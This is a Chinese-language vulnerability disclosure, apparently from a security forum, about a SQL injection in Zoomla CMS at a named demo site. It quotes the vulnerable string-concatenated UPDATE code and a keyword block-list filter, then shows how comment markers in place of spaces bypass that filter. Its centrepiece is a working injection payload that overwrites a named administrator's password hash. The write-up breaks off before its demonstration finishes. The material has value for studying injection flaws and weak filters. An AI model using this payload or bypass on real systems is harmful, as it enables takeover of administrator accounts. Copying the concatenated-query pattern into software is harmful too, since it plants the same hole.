显示不全请点击全屏阅读
绕过了那个很简单的防注入。直接可以update管理员密码。
注入点:
http://demo.zoomla.cn/user/cashcoupon/arrivejihuo.aspx
页面的按钮点击事件:
protected void Btn_Click调用了b_Arrive.UpdateState(text); public bool UpdateState(string ArriveNo) { string sqlStr = "Update ZL_Arrive SET State =1 WHERE ArriveNO='" + ArriveNo + "'"; ///果断注入 return SqlHelper.ExecuteSql(sqlStr); }
Page_Load方法里面有调用到了一个函数:
DataSecurity.StartProcessRequest();
上面这个函数具体是这样的:
public static void StartProcessRequest() { try { if (HttpContext.Current.Request.QueryString != null) { for (int i = 0; i < HttpContext.Current.Request.QueryString.Count; i++) { string getkeys = HttpContext.Current.Request.QueryString.Keys[i]; if (!DataSecurity.ProcessSqlStr(HttpContext.Current.Request.QueryString[getkeys])) { function.WriteErrMsg("数据不能包含SQL注入代码!"); HttpContext.Current.Response.End(); } } } if (HttpContext.Current.Request.Form != null) { for (int j = 0; j < HttpContext.Current.Request.Form.Count; j++) { string getkeys = HttpContext.Current.Request.Form.Keys[j]; if (!DataSecurity.ProcessSqlStr(HttpContext.Current.Request.Form[getkeys])) { function.WriteErrMsg("数据不能包含SQL注入代码!"); HttpContext.Current.Response.End(); } } } } …… }
里面还调用到一个DataSecurity.ProcessSqlStr
public static bool ProcessSqlStr(string Str) { bool ReturnValue = true; Str = Str.ToLower(); try { if (Str != "") { string SqlStr = "and |exec |insert |select |delete |update |count |chr |mid |master |truncate |char |declare "; string[] anySqlStr = SqlStr.Split(new char[] { '|' }); string[] array = anySqlStr; for (int i = 0; i < array.Length; i++) { string ss = array[i]; if (Str.IndexOf(ss) >= 0) { ReturnValue = false; } } } } catch { ReturnValue = false; } return ReturnValue; }
对于变量
string SqlStr = “and |exec |insert |select |delete |update |count |chr |mid
|master |truncate |char |declare “;
里面的特征字符串,仅仅是做了一个很简单的匹配,很容易绕过,看例子:
在页面正常输入东西:
image019.png
提交的时候截断一下,改下优惠券编号的代码,如下:
1′;update/**/zl_manager set adminpassword=’c4ca4238a0b923820dcc509a6f75849b’ where adminname=’testuser’–
执行前管理密码是这样的:
打个酱油先!